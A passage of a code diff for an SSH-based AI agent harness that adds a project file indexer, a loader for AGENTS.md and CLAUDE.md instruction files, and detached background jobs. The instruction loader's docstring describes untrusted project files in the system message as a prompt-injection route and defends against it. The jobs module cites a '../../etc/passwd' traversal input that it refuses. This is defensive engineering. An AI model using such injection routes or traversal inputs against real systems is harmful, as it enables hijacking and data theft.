+# looking" are different answers and it must not give the first for the second.
+MAX_ENTRIES = 20_000
+# One path. Longer than any real one and shorter than an attack.
+MAX_PATH = 400
+# How long a walk may take before it is abandoned. The index is a convenience;
+# a chat must never sit waiting for one.
+BUILD_TIMEOUT = 20.0
+# Output budget for the listing commands. Twenty thousand paths at forty
+# characters is 800KB, so this has room and still refuses a runaway.
+MAX_OUTPUT = 2 * 1024 * 1024
+
+# How long a built index is reused, and how many are kept at once. A project
+# directory changes under you -- the model writes files into it -- so this is
+# short. `refresh` exists for when short is not short enough.
+TTL = 300.0
+MAX_CACHED = 64
+
+# How deep the SFTP fallback goes, and how many directories it will open. It is
+# a round trip per directory, so an unbounded walk of somebody's home directory
+# would take minutes and achieve nothing.
+SFTP_MAX_DEPTH = 6
+SFTP_MAX_DIRS = 400
+
+# Pruned from the `find` and SFTP paths. Not applied to `git ls-files`, which
+# has already applied the repository's own rules and where a checked-in
+# `vendor/` is checked in on purpose -- this project's own hash-pinned browser
+# libraries live in one.
+IGNORED = (
+    ".git",
+    ".hg",
+    ".svn",
+    "node_modules",
+    "__pycache__",
+    ".venv",
+    "venv",
+    ".mypy_cache",
+    ".pytest_cache",
+    ".ruff_cache",
+    ".tox",
+    ".next",
+    ".nuxt",
+    ".gradle",
+    ".terraform",
+    "target",
+    "dist",
+    "build",
+    ".DS_Store",
+)
+
+# Control characters, including the escape that would let a filename repaint
+# the transcript it is quoted in.
+_CONTROL = re.compile(r"[\x00-\x1f\x7f-\x9f]")
+
+
+@dataclass(frozen=True)
+class ProjectIndex:
+    """A snapshot of what was in a directory, and how it was found out."""
+
+    paths: tuple[str, ...] = ()
+    total: int = 0
+    truncated: bool = False
+    source: str = ""
+    built_at: float = field(default=0.0)
+
+    @property
+    def ok(self) -> bool:
+        return bool(self.paths)
+
+
+# --- Building ----------------------------------------------------------------
+def _clean(raw: str) -> str:
+    """One path, made safe to put in a prompt and in an attribute."""
+    path = _CONTROL.sub("", raw.strip()).lstrip("./")
+    return path[:MAX_PATH]
+
+
+def _collect(output: str) -> tuple[tuple[str, ...], int, bool]:
+    seen: set[str] = set()
+    paths: list[str] = []
+    total = 0
+    for line in output.splitlines():
+        path = _clean(line)
+        if not path or path in seen:
+            continue
+        total += 1
+        if len(paths) < MAX_ENTRIES:
+            seen.add(path)
+            paths.append(path)
+    paths.sort()
+    return tuple(paths), total, total > len(paths)
+
+
+async def _from_git(executor: Executor, project_dir: str) -> ProjectIndex | None:
+    """Tracked and untracked files, minus whatever `.gitignore` excludes.
+
+    `--exclude-standard` is what makes this worth trying first: the repository
+    already carries somebody's considered list of what is not part of the
+    project, and reproducing it by hand is how an index ends up ninety percent
+    build output.
+    """
+    result = await executor.run(
+        ExecRequest(
+            command="git ls-files -c -o --exclude-standard 2>/dev/null",
+            cwd=project_dir,
+            timeout=BUILD_TIMEOUT,
+            max_bytes=MAX_OUTPUT,
+        )
+    )
+    if not result.ok or not result.output.strip():
+        return None
+    paths, total, truncated = _collect(result.output)
+    if not paths:
+        return None
+    return ProjectIndex(
+        paths=paths, total=total, truncated=truncated or result.truncated, source="git"
+    )
+
+
+def _find_command() -> str:
+    prunes = " -o ".join(f"-name {name!r}" for name in IGNORED)
+    # -print rather than -print0: the output is read as text either way, and a
+    # filename containing a newline splits into two entries that resolve to
+    # nothing rather than into anything dangerous.
+    return f"find . \\( {prunes} \\) -prune -o -print 2>/dev/null"
+
+
+async def _from_find(executor: Executor, project_dir: str) -> ProjectIndex | None:
+    result = await executor.run(
+        ExecRequest(
+            command=_find_command(),
+            cwd=project_dir,
+            timeout=BUILD_TIMEOUT,
+            max_bytes=MAX_OUTPUT,
+        )
+    )
+    if not result.output.strip():
+        return None
+    paths, total, truncated = _collect(result.output)
+    if not paths:
+        return None
+    return ProjectIndex(
+        paths=paths, total=total, truncated=truncated or result.truncated, source="find"
+    )
+
+
+async def _from_sftp(executor: Executor, project_dir: str) -> ProjectIndex:
+    """The one that always works, and the one that is slow.
+
+    Bounded twice over -- by depth and by how many directories it will open --
+    because this is a network round trip per directory and an unbounded walk of
+    a home directory would take minutes to produce something unusable.
+    """
+    found: list[str] = []
+    opened = 0
+    queue: list[tuple[str, int]] = [("", 0)]
+
+    while queue and opened < SFTP_MAX_DIRS and len(found) < MAX_ENTRIES:
+        where, depth = queue.pop(0)
+        opened += 1
+        try:
+            entries = await executor.scan_dir(where or project_dir)
+        except ExecError:
+            continue
+        for entry in entries:
+            if entry.name in IGNORED:
+                continue
+            path = f"{where}/{entry.name}" if where else entry.name
+            found.append(path + "/" if entry.is_dir else path)
+            if entry.is_dir and depth + 1 < SFTP_MAX_DEPTH:
+                queue.append((path, depth + 1))
+
+    paths, total, truncated = _collect("\n".join(found))
+    return ProjectIndex(
+        paths=paths,
+        total=total,
+        truncated=truncated or bool(queue),
+        source="sftp",
+    )
+
+
+async def build(executor: Executor, project_dir: str) -> ProjectIndex:
+    """Walk the directory, by whichever means works first."""
+    started = time.monotonic()
+    try:
+        found = None
+        for attempt in (_from_git, _from_find):
+            try:
+                found = await attempt(executor, project_dir)
+            except ExecError as exc:
+                # A rung that cannot run at all is a rung that did not answer,
+                # not the end of the ladder. A host that refuses exec entirely
+                # -- an SFTP-only account, a forced command -- is the exact case
+                # the SFTP rung below exists for, and letting this out skipped
+                # straight past it to an empty listing.
+                log.debug("indexing %s: %s did not run: %s", project_dir, attempt.__name__,
+                          exc.message)
+                found = None
+            if found is not None:
+                break
+        if found is None:
+            found = await _from_sftp(executor, project_dir)
+    except ExecError as exc:
+        log.info("could not index %s: %s", project_dir, exc.message)
+        return ProjectIndex(built_at=time.monotonic())
+
+    log.debug(
+        "indexed %s: %d paths by %s in %dms",
+        project_dir,
+        len(found.paths),
+        found.source,
+        int((time.monotonic() - started) * 1000),
+    )
+    return ProjectIndex(
+        paths=found.paths,
+        total=found.total,
+        truncated=found.truncated,
+        source=found.source,
+        built_at=time.monotonic(),
+    )
+
+
+# --- The cache ---------------------------------------------------------------
+# Keyed on the connection and the directory, not the chat: two chats on the same
+# box in the same tree are looking at the same files, and indexing it twice
+# would double the cost to prove it.
+_CACHE: dict[tuple[str, str], ProjectIndex] = {}
+_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
+
+
+def cached(profile_id: str, project_dir: str) -> ProjectIndex | None:
+    """What is already known, or None. Never does any work.
+
+    `harness.context_variables` is synchronous and sits on the request path, so
+    it may only ever call this -- an SFTP round trip from there would block a
+    request while somebody's box thought about it.
+    """
+    found = _CACHE.get((profile_id, project_dir))
+    if found is None:
+        return None
+    if time.monotonic() - found.built_at > TTL:
+        _CACHE.pop((profile_id, project_dir), None)
+        return None
+    return found
+
+
+async def ensure(
+    executor: Executor, profile_id: str, project_dir: str, *, refresh: bool = False
+) -> ProjectIndex:
+    """The index, building it if there is not a fresh one already.
+
+    Concurrent callers share one build. A reply and the `@` picker asking at
+    the same moment is the ordinary case, not a rare one, and two walks of the
+    same tree would be two of everything for one answer.
+    """
+    key = (profile_id, project_dir)
+    if refresh:
+        _CACHE.pop(key, None)
+    elif (found := cached(profile_id, project_dir)) is not None:
+        return found
+
+    if (running := _BUILDING.get(key)) is not None:
+        return await asyncio.shield(running)
+
+    task = asyncio.create_task(build(executor, project_dir))
+    _BUILDING[key] = task
+    try:
+        found = await task
+    finally:
+        _BUILDING.pop(key, None)
+
+    _CACHE[key] = found
+    while len(_CACHE) > MAX_CACHED:
+        _CACHE.pop(next(iter(_CACHE)))
+    return found
+
+
+# --- Rendering ---------------------------------------------------------------
+# A tree that lists a thousand files is worse than no tree: it costs the window
+# on every request forever and buries the four names that mattered. So the
+# rendering has a character budget and elides what will not fit, saying how much
+# it elided -- a directory shown as `src/vendor/ (412 files)` is a model being
+# told where to look, which is the useful half of listing it.
+INDENT = "  "
+# Below this a directory is never collapsed. Elision costs a line either way, so
+# collapsing three files into "(3 files)" saves nothing and loses everything.
+ALWAYS_SHOW = 4
+
+
+def _tree(paths: tuple[str, ...]) -> dict:
+    root: dict = {}
+    for path in paths:
+        node = root
+        parts = [part for part in path.rstrip("/").split("/") if part]
+        for part in parts[:-1]:
+            node = node.setdefault(part, {})
+            if not isinstance(node, dict):  # a file and a directory share a name
+                break
+        else:
+            if parts:
+                leaf = parts[-1]
+                if path.endswith("/"):
+                    node.setdefault(leaf, {})
+                else:
+                    node.setdefault(leaf, None)
+    return root
+
+
+def _files_under(node: dict) -> int:
+    total = 0
+    for child in node.values():
+        total += _files_under(child) if isinstance(child, dict) else 1
+    return total
+
+
+def _candidates(node: dict, prefix: str, depth: int, out: list) -> None:
+    """Every directory, with what collapsing it would save."""
+    for name, child in node.items():
+        if not isinstance(child, dict):
+            continue
+        path = f"{prefix}{name}/"
+        count = _files_under(child)
+        full = _cost(child, depth + 1)
+        collapsed = len(f" ({count} files)")
+        if count > ALWAYS_SHOW and full > collapsed:
+            out.append((depth, count, path, full - collapsed))
+        _candidates(child, path, depth + 1, out)
+
+
+def _cost(node: dict, depth: int) -> int:
+    """Roughly how many characters rendering this subtree in full would take."""
+    total = 0
+    for name, child in node.items():
+        total += len(INDENT) * (depth + 1) + len(name) + 2
+        if isinstance(child, dict):
+            total += _cost(child, depth + 1)
+    return total
+
+
+def _plan(root: dict, budget: int) -> set[str]:
+    """Which directories to show as a count, so the rest fits.
+
+    Deepest and largest first. Collapsing by saving alone would take `src/`
+    before `src/web/static/vendor/` -- it is bigger, because it *contains* it --
+    and lose every name worth having to save one directory of hash-pinned
+    third-party files. Depth is the proxy for "further from what somebody was
+    looking for", and it is a good one.
+    """
+    if _cost(root, 0) <= budget:
+        return set()
+
+    candidates: list[tuple[int, int, str, int]] = []
+    _candidates(root, "", 0, candidates)
+    candidates.sort(key=lambda item: (-item[0], -item[1]))
+
+    chosen: dict[str, int] = {}
+    saved = 0
+    total = _cost(root, 0)
+    for _depth, _count, path, saving in candidates:
+        if total - saved <= budget:
+            break
+        # A directory inside one already collapsed is not rendered at all, so
+        # collapsing it saves nothing.
+        if any(path.startswith(done) for done in chosen):
+            continue
+        # And a directory *containing* one already collapsed subsumes it. Its
+        # own saving is measured against the full subtree, so the descendant's
+        # has to come back off or the two are counted twice -- which stopped
+        # the loop early believing it had made room it had not.
+        for inside in [done for done in chosen if done.startswith(path)]:
+            saved -= chosen.pop(inside)
+        chosen[path] = saving
+        saved += saving
+    return set(chosen)
+
+
+def _lines(
+    node: dict, prefix: str, depth: int, collapsed: set[str], budget: list[int]
+) -> list[str]:
+    out: list[str] = []
+    # Files before directories at each level: the shallow names are the ones
+    # somebody would recognise, and if the budget runs out mid-tree they are
+    # the ones worth having spent it on.
+    files = sorted(name for name, child in node.items() if not isinstance(child, dict))
+    folders = sorted(name for name, child in node.items() if isinstance(child, dict))
+
+    for position, name in enumerate(files):
+        line = f"{INDENT * depth}{name}"
+        if budget[0] < len(line) + 1:
+            out.append(f"{INDENT * depth}… {len(files) - position} more files")
+            budget[0] = 0
+            return out
+        budget[0] -= len(line) + 1
+        out.append(line)
+
+    for name in folders:
+        child = node[name]
+        path = f"{prefix}{name}/"
+        header = f"{INDENT * depth}{name}/"
+        if path in collapsed:
+            line = f"{header} ({_files_under(child)} files)"
+            budget[0] -= len(line) + 1
+            out.append(line)
+            continue
+        if budget[0] < len(header) + 1:
+            return out
+        budget[0] -= len(header) + 1
+        out.append(header)
+        out.extend(_lines(child, path, depth + 1, collapsed, budget))
+    return out
+
+
+def render(index: ProjectIndex, budget: int) -> str:
+    """The listing as the model sees it, inside `budget` characters.
+
+    Returns "" when there is nothing to say, so the fragment carrying it can
+    vanish entirely rather than appear as an empty heading -- which is what
+    `Fragment.requires` is for.
+    """
+    if not index.ok or budget <= 0:
+        return ""
+
+    root = _tree(index.paths)
+    collapsed = _plan(root, budget)
+    # The plan has already made it fit, so this is a backstop rather than the
+    # mechanism -- with enough slack that an estimate a little off does not
+    # truncate a listing that was fine. What it is really for is the one shape
+    # collapsing cannot help with: five thousand files directly in the root,
+    # where there is no directory to fold them into.
+    remaining = [int(budget * 1.5) + 200]
+    lines = _lines(root, "", 0, collapsed, remaining)
+    if not lines:
+        return ""
+
+    note = ""
+    if index.truncated:
+        note = (
+            f"\n\nThere are more than {len(index.paths)} entries here; this is the "
+            "first of them, so treat it as a sample rather than the whole tree."
+        )
+    elif collapsed:
+        note = (
+            "\n\nDirectories shown with a count were left unopened to save room. "
+            "Use `file_list` to look inside one."
+        )
+    return "\n".join(lines) + note
+
+
+def forget(profile_id: str) -> int:
+    """Drop everything indexed through one connection.
+
+    Called when a profile is deleted, disabled or has its host key forgotten --
+    the same moments that close its terminals. Keeping a listing of a machine
+    somebody has just revoked would be a small leak of exactly the kind the
+    rest of this module is careful about.
+    """
+    doomed = [key for key in _CACHE if key[0] == profile_id]
+    for key in doomed:
+        _CACHE.pop(key, None)
+    return len(doomed)
+
+
+def forget_dir(profile_id: str, project_dir: str) -> None:
+    """Drop one tree's listing, because something just changed it.
+
+    The TTL exists for drift nobody can see coming. A write through `file_write`
+    is not that: it is this process changing the tree it has just described, and
+    leaving five minutes of a listing that is known to be wrong is worse than
+    having none -- a model reading it concludes the file it created is missing.
+    """
+    _CACHE.pop((profile_id, project_dir), None)
+
+
+def clear() -> None:
+    _CACHE.clear()
+
+
+__all__ = [
+    "MAX_ENTRIES",
+    "ProjectIndex",
+    "build",
+    "cached",
+    "clear",
+    "ensure",
+    "forget",
+    "forget_dir",
+    "render",
+]

src/lembas/services/agent/instructions.py

@@ -0,0 +1,212 @@
+"""The project's own notes on how to work in it — AGENTS.md, CLAUDE.md.
+
+A file in the root of the project directory, read once per reply and put in the
+system message. Everything about the shape of this module is copied from
+`index.py`, and for the same three reasons:
+
+* **`cached()` never does work.** `harness.context_variables` is synchronous and
+  runs on the request path, so an SFTP round trip from there would hold a
+  request open while somebody's box thought about it. The build happens in
+  `generation._warm_project`, which is async and already doing network work.
+* **`ensure()` shares one build between concurrent callers**, via `_BUILDING`
+  and `asyncio.shield`.
+* **Each name catches its own `ExecError`.** This is the ladder lesson from
+  `index.py` arriving before the bug does: an `AGENTS.md` that cannot be read --
+  a permission, an SFTP-only account, a directory where a file was expected --
+  must not stop `CLAUDE.md` being tried.
+
+The contents are **untrusted**, and go into the *system* message of a chat that
+can run commands. Nothing here can fix that; what does is the wording of the
+`context.agent_instructions` fragment, which names where the file came from and
+bounds what it is allowed to do. Two things are done here: control characters
+are stripped, and backticks are neutralised so the file cannot close the fence
+it is put inside and start writing what looks like our own prose.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import posixpath
+import re
+import time
+from dataclasses import dataclass
+
+from lembas.services.agent.base import ExecError, Executor
+
+log = logging.getLogger(__name__)
+
+# In order. AGENTS.md first because it is the vendor-neutral convention a shared
+# repository is likeliest to carry; CLAUDE.md next because it is the one most
+# widely written in practice. Root only, no recursion: a per-directory
+# convention is a different feature with a different cost model.
+NAMES = ("AGENTS.md", "CLAUDE.md", "AGENT.md", ".agents.md")
+
+TTL = 300.0
+MAX_CACHED = 64
+
+# The default ceiling on what reaches the prompt. The admin setting wins.
+MAX_CHARS = 4000
+
+_CONTROL = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
+
+
+@dataclass(frozen=True)
+class Instructions:
+    """What was found in the project root, and where."""
+
+    filename: str = ""
+    text: str = ""
+    built_at: float = 0.0
+
+    @property
+    def ok(self) -> bool:
+        return bool(self.filename and self.text.strip())
+
+
+def clean(raw: str) -> str:
+    """Made safe to put inside a fenced block in a system message."""
+    text = _CONTROL.sub("", raw).replace("\r\n", "\n").replace("\r", "\n")
+    # It must not be able to close our fence and carry on in what then reads as
+    # our own voice. Replaced rather than escaped: this is a display of somebody
+    # else's file, not a round trip.
+    return text.replace("```", "'''")
+
+
+async def build(executor: Executor, budget: int = MAX_CHARS) -> Instructions:
+    """Look for each name in turn, and stop at the first one that reads."""
+    for name in NAMES:
+        try:
+            # Four bytes a character is generous for UTF-8 prose and stops a
+            # two-megabyte file being pulled across to be thrown away.
+            raw = await executor.read_file(name, max_bytes=max(budget, 1) * 4)
+        except ExecError:
+            # Its own catch, per name. A rung that raises must not end the
+            # ladder -- that bug has already been paid for once in index.py.
+            continue
+        except Exception:  # noqa: BLE001 - a warm-up must never kill a reply
+            log.debug("could not read %s", name, exc_info=True)
+            continue
+
+        text = clean(raw)
+        if text.strip():
+            return Instructions(filename=name, text=text, built_at=time.monotonic())
+
+    return Instructions(built_at=time.monotonic())
+
+
+# --- The cache ---------------------------------------------------------------
+# Keyed on the connection and the directory, exactly as the listing is: two
+# chats on one tree are looking at the same file.
+_CACHE: dict[tuple[str, str], Instructions] = {}
+_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
+
+
+def cached(profile_id: str, project_dir: str) -> Instructions | None:
+    """What is already known, or None. Never does any work.
+
+    A miss is not "there is no file" -- it is "nobody has looked yet", and the
+    fragment's `requires` turns both into the same thing: no section at all.
+    """
+    found = _CACHE.get((profile_id, project_dir))
+    if found is None:
+        return None
+    if time.monotonic() - found.built_at > TTL:
+        _CACHE.pop((profile_id, project_dir), None)
+        return None
+    return found
+
+
+async def ensure(
+    executor: Executor,
+    profile_id: str,
+    project_dir: str,
+    *,
+    budget: int = MAX_CHARS,
+    refresh: bool = False,
+) -> Instructions:
+    key = (profile_id, project_dir)
+    if refresh:
+        _CACHE.pop(key, None)
+    elif (found := cached(profile_id, project_dir)) is not None:
+        return found
+
+    if (running := _BUILDING.get(key)) is not None:
+        return await asyncio.shield(running)
+
+    task = asyncio.create_task(build(executor, budget))
+    _BUILDING[key] = task
+    try:
+        found = await task
+    finally:
+        _BUILDING.pop(key, None)
+
+    _CACHE[key] = found
+    while len(_CACHE) > MAX_CACHED:
+        _CACHE.pop(next(iter(_CACHE)))
+    return found
+
+
+def is_instruction_file(path: str, project_dir: str) -> bool:
+    """Whether a written path is the file this module caches.
+
+    Resolved against the project directory rather than matched on the basename,
+    so `./AGENTS.md`, `AGENTS.md` and `/work/AGENTS.md` are all it and
+    `docs/AGENTS.md` is not -- root only, the same rule `build` follows. A
+    basename match would drop the cache every time any subdirectory's own
+    AGENTS.md was touched, which is a fetch nobody asked for.
+    """
+    wanted = path.strip()
+    if not wanted:
+        return False
+    if not posixpath.isabs(wanted) and project_dir:
+        wanted = posixpath.join(project_dir, wanted)
+    wanted = posixpath.normpath(wanted)
+    return any(
+        wanted == posixpath.normpath(posixpath.join(project_dir or "", name)) for name in NAMES
+    )
+
+
+def forget(profile_id: str, project_dir: str) -> None:
+    """Drop it, because something just rewrote it.
+
+    The one case the TTL cannot cover: this process changing the file it has
+    just quoted. Unlike the directory listing, an *edit* counts here as much as
+    a write -- the listing only cares that the file exists, this cares what is
+    in it.
+    """
+    _CACHE.pop((profile_id, project_dir), None)
+
+
+def clear() -> None:
+    _CACHE.clear()
+
+
+def render(found: Instructions | None, budget: int) -> str:
+    """The text, within the budget, cut at a line boundary."""
+    if found is None or not found.ok or budget <= 0:
+        return ""
+    text = found.text.strip()
+    if len(text) <= budget:
+        return text
+    cut = text[:budget]
+    at = cut.rfind("\n")
+    if at > budget // 2:
+        cut = cut[:at]
+    return f"{cut.rstrip()}\n… (truncated)"
+
+
+__all__ = [
+    "MAX_CHARS",
+    "NAMES",
+    "TTL",
+    "Instructions",
+    "build",
+    "cached",
+    "clean",
+    "clear",
+    "ensure",
+    "forget",
+    "is_instruction_file",
+    "render",
+]

src/lembas/services/agent/jobs.py

@@ -0,0 +1,732 @@
+"""Commands that outlive the reply that started them.
+
+An ordinary `shell_run` is one blocking `conn.run` over a per-call connection
+(`ssh.py`): when it hits its timeout the command is killed, so a ten-minute
+`apt install` is impossible. A background job is the same command launched
+*detached* on the far side -- `setsid`, redirected to a remote logfile and an
+exit-file -- so it survives the connection closing. LLeMbas reconnects (a fresh
+connection, as always) to read the log and the exit code later.
+
+This is the opposite of `terminal.py`, which survives by *holding* a connection
+open. Here we hold nothing: the whole point of `ssh.py`/`base.py` is that no live
+connection is kept, and a job that needed one would be a job that broke that.
+
+**The command never touches a quoted shell context.** `sh -c '<cmd>'` shatters
+the instant the command contains a `'` -- `git commit -m 'fix'`, `awk '{…}'`,
+`sed 's/…/…/'` are the common case, not an edge one, and would also be an
+injection hole. So the command is base64-encoded here in Python and decoded on
+the far side into a script file; it is bytes, never shell syntax. Only
+server-generated hex ids and a fixed root ever reach a path.
+
+Three things make the wrappers correct, and each was got wrong in an earlier
+sketch:
+
+* **The child records its own pid via `$$`**, as its first act, under `setsid`
+  where it is the session/group leader -- so `job_stop` can `kill -<pid>` the
+  whole process group. `echo $!` from the launcher captures the wrong pid.
+* **The exit-file is the primary signal.** An empty pid-file means "still
+  starting", not "dead"; reading liveness first would race the launch and report
+  a job lost the instant it began.
+* **The command's exit status comes from the exit-file, never from the wrapper's
+  own status** -- which is ~0 from the trailing `rm`. Reading the wrapper's
+  status would mark every job a success.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import base64
+import contextlib
+import logging
+import re
+import time
+import uuid
+from dataclasses import dataclass, field
+from datetime import UTC, datetime
+from typing import Any
+
+from sqlalchemy import select
+
+from lembas.services.agent.base import ExecError, ExecRequest, clean_output
+
+log = logging.getLogger(__name__)
+
+# Where a job's files live on the far side. `${TMPDIR:-/tmp}` so a host that
+# puts scratch space elsewhere is honoured, and it clears on reboot -- a job
+# does not survive a reboot of its own host either. The chat id namespaces it,
+# which is also what makes cross-chat access structurally impossible: a path is
+# only ever built from the *calling* chat's id, so a model in one chat cannot
+# name another chat's files.
+JOB_ROOT = "${TMPDIR:-/tmp}/lembas-jobs"
+
+# A job id is our own short hex; anything else is refused before it reaches a
+# path, so `job_output("../../etc/passwd")` cannot walk out of the job root.
+_ID = re.compile(r"^[a-f0-9]{12}$")
+
+# How long the fire-and-return launcher waits for the shell to accept the
+# command. Not the command's own timeout -- it returns the moment the process is
+# detached, which is immediate.
+LAUNCH_GRACE = 10.0
+
+# The working set, keyed by job id: what `job_list` shows this session. Mirrored
+# to a `Job` row for jobs that are watched, so a restart can rehydrate them.
+_JOBS: dict[str, JobState] = {}
+# One watcher task per job being polled to completion.
+_WATCHERS: dict[str, asyncio.Task] = {}
+
+# Stop watching a job after this. The remote process may keep running; we simply
+# stop holding a watcher for it and mark it lost. A job that runs longer than
+# this is beyond what auto-wake promises.
+MAX_WATCH_SECONDS = 6 * 3600
+
+# How much of a finished job's output is put in front of the model when it is
+# woken. Capped so a job that printed a gigabyte does not blow the window.
+MAX_COMPLETION_CHARS = 4000
+
+
+def new_id() -> str:
+    return uuid.uuid4().hex[:12]
+
+
+@dataclass
+class JobState:
+    """What LLeMbas remembers about one background job, in this process."""
+
+    id: str
+    chat_id: str
+    command: str
+    status: str = "running"  # running | done | killed | lost
+    exit_status: int | None = None
+    started_at: float = field(default_factory=time.monotonic)
+    finished_at: float = 0.0
+
+
+# --- Paths and the wrappers ----------------------------------------------------
+def _dir(chat_id: str) -> str:
+    return f'"{JOB_ROOT}/{chat_id}"'
+
+
+def _file(chat_id: str, job_id: str, ext: str) -> str:
+    # Double-quoted so `${TMPDIR:-/tmp}` still expands while the whole path stays
+    # one word. The chat id and job id are hex, so nothing here needs escaping.
+    return f'"{JOB_ROOT}/{chat_id}/{job_id}.{ext}"'
+
+
+def _sentinel(job_id: str) -> str:
+    return f"__LEMBAS_{job_id}__"
+
+
+def _inner_script(chat_id: str, job_id: str, command: str) -> str:
+    """The detached program: record the pid, run the command, record the status.
+
+    base64-encoded before it leaves, so `command` is bytes and never shell
+    syntax. `$$` first, because it is the session leader's pid under setsid and
+    `job_stop` kills the group by it. `$?` last, capturing the command's status;
+    it is the file `run`'s own exit status must never be read in place of.
+    """
+    return (
+        f"echo $$ > {_file(chat_id, job_id, 'pid')}\n"
+        f"{command}\n"
+        f"echo $? > {_file(chat_id, job_id, 'exit')}\n"
+    )
+
+
+def _blob(chat_id: str, job_id: str, command: str) -> str:
+    raw = _inner_script(chat_id, job_id, command).encode("utf-8")
+    return base64.b64encode(raw).decode("ascii")
+
+
+def _launch_lines(chat_id: str, job_id: str, command: str) -> str:
+    """Create the job dir, drop the script, and detach it. No wait."""
+    blob = _blob(chat_id, job_id, command)
+    return (
+        f"mkdir -p {_dir(chat_id)} 2>/dev/null\n"
+        f"printf %s '{blob}' | base64 -d > {_file(chat_id, job_id, 'sh')}\n"
+        f"setsid sh {_file(chat_id, job_id, 'sh')} "
+        f"> {_file(chat_id, job_id, 'log')} 2>&1 < /dev/null &\n"
+    )
+
+
+def launch_command(chat_id: str, job_id: str, command: str) -> str:
+    """Fire-and-return: detach the command and stop. Run with a short timeout."""
+    return _launch_lines(chat_id, job_id, command) + "printf started\n"
+
+
+def launch_and_wait_command(chat_id: str, job_id: str, command: str, max_bytes: int) -> str:
+    """Detach the command AND wait up to the (asyncssh) timeout for it.
+
+    If it finishes, stdout is the log tail plus a sentinel line carrying the exit
+    code, and the files are removed. If asyncssh times out first the channel is
+    torn down before the `rm`, so the files survive for a later read and the
+    detached process -- new session, redirected, stdin from /dev/null -- keeps
+    running. That torn-down-mid-wait case is exactly "it became a background
+    job".
+    """
+    s = _sentinel(job_id)
+    pid = _file(chat_id, job_id, "pid")
+    exit_ = _file(chat_id, job_id, "exit")
+    logf = _file(chat_id, job_id, "log")
+    return (
+        _launch_lines(chat_id, job_id, command)
+        + "while :; do\n"
+        f"  [ -f {exit_} ] && break\n"
+        f"  __p=$(cat {pid} 2>/dev/null)\n"
+        '  [ -n "$__p" ] && ! kill -0 "$__p" 2>/dev/null && break\n'
+        # 0.2s: with the feature on, every ordinary command waits one poll for
+        # the exit-file, so this is added latency on the hot path. Short enough
+        # not to be felt, long enough not to spin.
+        "  sleep 0.2\n"
+        "done\n"
+        f"tail -c {max_bytes} {logf} 2>/dev/null\n"
+        f"printf '\\n{s}:'\n"
+        f"cat {exit_} 2>/dev/null || printf LOST\n"
+        # `logf`, not `log`. The module logger is a perfectly good f-string
+        # operand and formats to "<Logger … (WARNING)>", whose angle brackets and
+        # parentheses are shell syntax -- so this line died with a syntax error,
+        # after the sentinel where nothing reads it, and every job's four files
+        # were left on the far side forever. See the note in CLAUDE.md.
+        f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {logf} {exit_}\n"
+    )
+
+
+def read_command(chat_id: str, job_id: str, max_bytes: int) -> str:
+    """The log so far, and whether the job is still running."""
+    s = _sentinel(job_id)
+    pid = _file(chat_id, job_id, "pid")
+    exit_ = _file(chat_id, job_id, "exit")
+    return (
+        f"tail -c {max_bytes} {_file(chat_id, job_id, 'log')} 2>/dev/null\n"
+        f"printf '\\n{s}:'\n"
+        f"if [ -f {exit_} ]; then printf 'done '; cat {exit_};\n"
+        f'elif __p=$(cat {pid} 2>/dev/null); [ -n "$__p" ] && kill -0 "$__p" 2>/dev/null;'
+        " then printf running;\n"
+        "else printf lost; fi\n"
+    )
+
+
+def stop_command(chat_id: str, job_id: str) -> str:
+    """Kill the whole process group, then record an exit so a reader is not told
+    the job is merely lost. A killed process never writes its own exit file."""
+    pid = _file(chat_id, job_id, "pid")
+    exit_ = _file(chat_id, job_id, "exit")
+    return (
+        f'__p=$(cat {pid} 2>/dev/null); [ -n "$__p" ] && kill -TERM -"$__p" 2>/dev/null\n'
+        "sleep 0.3\n"
+        f'[ -n "$__p" ] && kill -KILL -"$__p" 2>/dev/null\n'
+        f"[ -f {exit_} ] || echo 143 > {exit_}\n"
+        "printf stopped\n"
+    )
+
+
+def cleanup_command(chat_id: str, job_id: str) -> str:
+    return (
+        f"rm -f {_file(chat_id, job_id, 'sh')} {_file(chat_id, job_id, 'pid')} "
+        f"{_file(chat_id, job_id, 'log')} {_file(chat_id, job_id, 'exit')}\n"
+    )
+
+
+# --- Parsing what a wrapper printed --------------------------------------------
+@dataclass(frozen=True)
+class Completed:
+    body: str
+    exit_status: int | None  # None ⇒ the job was lost (killed without an exit)
+
+
+def parse_completed(output: str, job_id: str) -> Completed:
+    """Split a launch-and-wait result into the command's output and its status.
+
+    On the *last* sentinel, because the command's own output could contain a
+    line that looks like one; everything before it is the body, everything after
+    is the exit code the file held.
+    """
+    marker = f"\n{_sentinel(job_id)}:"
+    at = output.rfind(marker)
+    if at == -1:
+        return Completed(body=output.strip(), exit_status=None)
+    body = output[:at].strip()
+    tail = output[at + len(marker) :].strip()
+    if tail.upper() == "LOST" or not tail:
+        return Completed(body=body, exit_status=None)
+    try:
+        return Completed(body=body, exit_status=int(tail.split()[0]))
+    except (ValueError, IndexError):
+        return Completed(body=body, exit_status=None)
+
+
+@dataclass(frozen=True)
+class Reading:
+    body: str
+    status: str  # running | done | lost
+    exit_status: int | None
+
+
+def parse_reading(output: str, job_id: str) -> Reading:
+    marker = f"\n{_sentinel(job_id)}:"
+    at = output.rfind(marker)
+    if at == -1:
+        return Reading(body=output.strip(), status="lost", exit_status=None)
+    body = output[:at].strip()
+    tail = output[at + len(marker) :].strip()
+    if tail.startswith("done"):
+        parts = tail.split()
+        code = int(parts[1]) if len(parts) > 1 and parts[1].lstrip("-").isdigit() else None
+        return Reading(body=body, status="done", exit_status=code)
+    if tail == "running":
+        return Reading(body=body, status="running", exit_status=None)
+    return Reading(body=body, status="lost", exit_status=None)
+
+
+# --- Operations against the machine --------------------------------------------
+async def launch(agent, command: str, cwd: str = "") -> JobState:
+    """Detach a command and return immediately. Raises ExecError if it will not
+    even start."""
+    job_id = new_id()
+    result = await agent.executor().run(
+        ExecRequest(
+            command=launch_command(agent.chat_id, job_id, command),
+            cwd=cwd,
+            timeout=LAUNCH_GRACE,
+            max_bytes=agent.max_output,
+        )
+    )
+    if result.timed_out:
+        raise ExecError("The machine did not accept the command in time.")
+    job = JobState(id=job_id, chat_id=agent.chat_id, command=command)
